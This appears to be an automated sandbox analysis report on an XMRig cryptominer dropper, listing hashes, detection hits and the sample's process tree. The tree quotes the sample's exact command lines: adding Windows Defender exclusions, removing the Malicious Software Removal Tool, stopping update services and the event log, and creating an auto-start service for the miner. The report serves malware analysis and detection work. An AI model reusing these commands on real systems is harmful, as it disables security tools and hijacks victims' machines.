Analysis
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max time kernel
17s -
max time network
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platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
22-12-2024 01:16
Static task
static1
Behavioral task
behavioral1
Sample
8785fb3be4516afc5b4a08fd99440b9ca929c0bd075ce31bd285b6d39f0c9e95N.exe
Resource
win7-20240903-en
General
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Target
8785fb3be4516afc5b4a08fd99440b9ca929c0bd075ce31bd285b6d39f0c9e95N.exe
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Size
5.6MB
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MD5
985bdc8647356aaed8761d7776c5a900
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SHA1
2f600b33e1b27c13a8e555375deee470cbf2c931
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SHA256
8785fb3be4516afc5b4a08fd99440b9ca929c0bd075ce31bd285b6d39f0c9e95
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SHA512
6714325e9d79d9690db11a39d347279aee6eb37ca3978c46fcfbed362bf58257a09fabdd2098a1294d64a8dd885b988ef6a097d57812e05bc891d68709f8b426
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SSDEEP
98304:KggSZTFznDHwE8oohoIgNgx+r3P4jw4fn9E32RW0O2gT/gQGhP3oFL6p4kvDZ/Hn:DgSZJznDHMo+JgNgx+r3P+e32BO2gjgj
Malware Config
Signatures
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Xmrig family
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XMRig Miner payload 8 IoCs
resource yara_rule behavioral1/memory/1788-36-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/1788-34-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/1788-40-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/1788-39-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/1788-38-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/1788-37-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/1788-33-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/1788-41-0x0000000140000000-0x0000000140848000-memory.dmp xmrig -
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 2688 powershell.exe 2308 powershell.exe -
Creates new service(s) 2 TTPs
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Executes dropped EXE 2 IoCs
pid Process 476 Process not Found 2324 fqwofdtexigy.exe -
Loads dropped DLL 1 IoCs
pid Process 476 Process not Found -
Power Settings 1 TTPs 8 IoCs
powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.
pid Process 2140 powercfg.exe 1860 powercfg.exe 2672 powercfg.exe 1120 powercfg.exe 924 powercfg.exe 576 powercfg.exe 2148 powercfg.exe 1844 powercfg.exe -
Drops file in System32 directory 4 IoCs
description ioc Process File opened for modification C:\Windows\system32\MRT.exe 8785fb3be4516afc5b4a08fd99440b9ca929c0bd075ce31bd285b6d39f0c9e95N.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\system32\MRT.exe fqwofdtexigy.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 2324 set thread context of 1952 2324 fqwofdtexigy.exe 86 PID 2324 set thread context of 1788 2324 fqwofdtexigy.exe 89 -
resource yara_rule behavioral1/memory/1788-36-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/1788-27-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/1788-34-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/1788-40-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/1788-39-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/1788-38-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/1788-37-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/1788-33-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/1788-26-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/1788-32-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/1788-29-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/1788-28-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/1788-41-0x0000000140000000-0x0000000140848000-memory.dmp upx -
Drops file in Windows directory 2 IoCs
description ioc Process File created C:\Windows\wusa.lock wusa.exe File created C:\Windows\wusa.lock wusa.exe -
Launches sc.exe 14 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 1852 sc.exe 1972 sc.exe 1040 sc.exe 1240 sc.exe 2160 sc.exe 2552 sc.exe 1264 sc.exe 2568 sc.exe 2896 sc.exe 2888 sc.exe 2616 sc.exe 2692 sc.exe 776 sc.exe 1768 sc.exe -
Modifies data under HKEY_USERS 2 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 80603b350f54db01 powershell.exe -
Suspicious behavior: EnumeratesProcesses 31 IoCs
pid Process 2724 8785fb3be4516afc5b4a08fd99440b9ca929c0bd075ce31bd285b6d39f0c9e95N.exe 2688 powershell.exe 2724 8785fb3be4516afc5b4a08fd99440b9ca929c0bd075ce31bd285b6d39f0c9e95N.exe 2724 8785fb3be4516afc5b4a08fd99440b9ca929c0bd075ce31bd285b6d39f0c9e95N.exe 2724 8785fb3be4516afc5b4a08fd99440b9ca929c0bd075ce31bd285b6d39f0c9e95N.exe 2724 8785fb3be4516afc5b4a08fd99440b9ca929c0bd075ce31bd285b6d39f0c9e95N.exe 2724 8785fb3be4516afc5b4a08fd99440b9ca929c0bd075ce31bd285b6d39f0c9e95N.exe 2724 8785fb3be4516afc5b4a08fd99440b9ca929c0bd075ce31bd285b6d39f0c9e95N.exe 2724 8785fb3be4516afc5b4a08fd99440b9ca929c0bd075ce31bd285b6d39f0c9e95N.exe 2724 8785fb3be4516afc5b4a08fd99440b9ca929c0bd075ce31bd285b6d39f0c9e95N.exe 2724 8785fb3be4516afc5b4a08fd99440b9ca929c0bd075ce31bd285b6d39f0c9e95N.exe 2724 8785fb3be4516afc5b4a08fd99440b9ca929c0bd075ce31bd285b6d39f0c9e95N.exe 2724 8785fb3be4516afc5b4a08fd99440b9ca929c0bd075ce31bd285b6d39f0c9e95N.exe 2724 8785fb3be4516afc5b4a08fd99440b9ca929c0bd075ce31bd285b6d39f0c9e95N.exe 2724 8785fb3be4516afc5b4a08fd99440b9ca929c0bd075ce31bd285b6d39f0c9e95N.exe 2724 8785fb3be4516afc5b4a08fd99440b9ca929c0bd075ce31bd285b6d39f0c9e95N.exe 2724 8785fb3be4516afc5b4a08fd99440b9ca929c0bd075ce31bd285b6d39f0c9e95N.exe 2324 fqwofdtexigy.exe 2308 powershell.exe 2324 fqwofdtexigy.exe 2324 fqwofdtexigy.exe 2324 fqwofdtexigy.exe 2324 fqwofdtexigy.exe 2324 fqwofdtexigy.exe 2324 fqwofdtexigy.exe 2324 fqwofdtexigy.exe 2324 fqwofdtexigy.exe 2324 fqwofdtexigy.exe 2324 fqwofdtexigy.exe 2324 fqwofdtexigy.exe 2324 fqwofdtexigy.exe -
Suspicious use of AdjustPrivilegeToken 11 IoCs
description pid Process Token: SeDebugPrivilege 2688 powershell.exe Token: SeShutdownPrivilege 1120 powercfg.exe Token: SeShutdownPrivilege 576 powercfg.exe Token: SeShutdownPrivilege 924 powercfg.exe Token: SeShutdownPrivilege 2672 powercfg.exe Token: SeDebugPrivilege 2308 powershell.exe Token: SeShutdownPrivilege 1860 powercfg.exe Token: SeShutdownPrivilege 2148 powercfg.exe Token: SeShutdownPrivilege 2140 powercfg.exe Token: SeLockMemoryPrivilege 1788 nslookup.exe Token: SeShutdownPrivilege 1844 powercfg.exe -
Suspicious use of WriteProcessMemory 23 IoCs
description pid Process procid_target PID 2572 wrote to memory of 3012 2572 cmd.exe 37 PID 2572 wrote to memory of 3012 2572 cmd.exe 37 PID 2572 wrote to memory of 3012 2572 cmd.exe 37 PID 3040 wrote to memory of 2404 3040 cmd.exe 63 PID 3040 wrote to memory of 2404 3040 cmd.exe 63 PID 3040 wrote to memory of 2404 3040 cmd.exe 63 PID 2848 wrote to memory of 2196 2848 cmd.exe 72 PID 2848 wrote to memory of 2196 2848 cmd.exe 72 PID 2848 wrote to memory of 2196 2848 cmd.exe 72 PID 2324 wrote to memory of 1952 2324 fqwofdtexigy.exe 86 PID 2324 wrote to memory of 1952 2324 fqwofdtexigy.exe 86 PID 2324 wrote to memory of 1952 2324 fqwofdtexigy.exe 86 PID 2324 wrote to memory of 1952 2324 fqwofdtexigy.exe 86 PID 2324 wrote to memory of 1952 2324 fqwofdtexigy.exe 86 PID 2324 wrote to memory of 1952 2324 fqwofdtexigy.exe 86 PID 2324 wrote to memory of 1952 2324 fqwofdtexigy.exe 86 PID 2324 wrote to memory of 1952 2324 fqwofdtexigy.exe 86 PID 2324 wrote to memory of 1952 2324 fqwofdtexigy.exe 86 PID 2324 wrote to memory of 1788 2324 fqwofdtexigy.exe 89 PID 2324 wrote to memory of 1788 2324 fqwofdtexigy.exe 89 PID 2324 wrote to memory of 1788 2324 fqwofdtexigy.exe 89 PID 2324 wrote to memory of 1788 2324 fqwofdtexigy.exe 89 PID 2324 wrote to memory of 1788 2324 fqwofdtexigy.exe 89
Processes
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C:\Users\Admin\AppData\Local\Temp\8785fb3be4516afc5b4a08fd99440b9ca929c0bd075ce31bd285b6d39f0c9e95N.exe"C:\Users\Admin\AppData\Local\Temp\8785fb3be4516afc5b4a08fd99440b9ca929c0bd075ce31bd285b6d39f0c9e95N.exe"1⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
PID:2724 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2688
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
- Suspicious use of WriteProcessMemory
PID:2572 -
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵
- Drops file in Windows directory
PID:3012
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc2⤵
- Launches sc.exe
PID:2568
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc2⤵
- Launches sc.exe
PID:2692
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv2⤵
- Launches sc.exe
PID:2616
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits2⤵
- Launches sc.exe
PID:776
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc2⤵
- Launches sc.exe
PID:1040
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:576
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:924
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:1120
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2672
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe delete "JVNIRHNX"2⤵
- Launches sc.exe
PID:1852
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe create "JVNIRHNX" binpath= "C:\ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exe" start= "auto"2⤵
- Launches sc.exe
PID:1972
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop eventlog2⤵
- Launches sc.exe
PID:2552
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start "JVNIRHNX"2⤵
- Launches sc.exe
PID:2896
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\8785fb3be4516afc5b4a08fd99440b9ca929c0bd075ce31bd285b6d39f0c9e95N.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:3040 -
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:2404
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C:\ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exeC:\ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exe1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2324 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2308
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
- Suspicious use of WriteProcessMemory
PID:2848 -
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵
- Drops file in Windows directory
PID:2196
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc2⤵
- Launches sc.exe
PID:2888
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc2⤵
- Launches sc.exe
PID:2160
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv2⤵
- Launches sc.exe
PID:1240
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits2⤵
- Launches sc.exe
PID:1264
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc2⤵
- Launches sc.exe
PID:1768
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:1860
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2140
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:1844
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2148
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C:\Windows\system32\conhost.exeC:\Windows\system32\conhost.exe2⤵PID:1952
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C:\Windows\system32\nslookup.exenslookup.exe2⤵
- Suspicious use of AdjustPrivilegeToken
PID:1788
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
5.6MB
MD5985bdc8647356aaed8761d7776c5a900
SHA12f600b33e1b27c13a8e555375deee470cbf2c931
SHA2568785fb3be4516afc5b4a08fd99440b9ca929c0bd075ce31bd285b6d39f0c9e95
SHA5126714325e9d79d9690db11a39d347279aee6eb37ca3978c46fcfbed362bf58257a09fabdd2098a1294d64a8dd885b988ef6a097d57812e05bc891d68709f8b426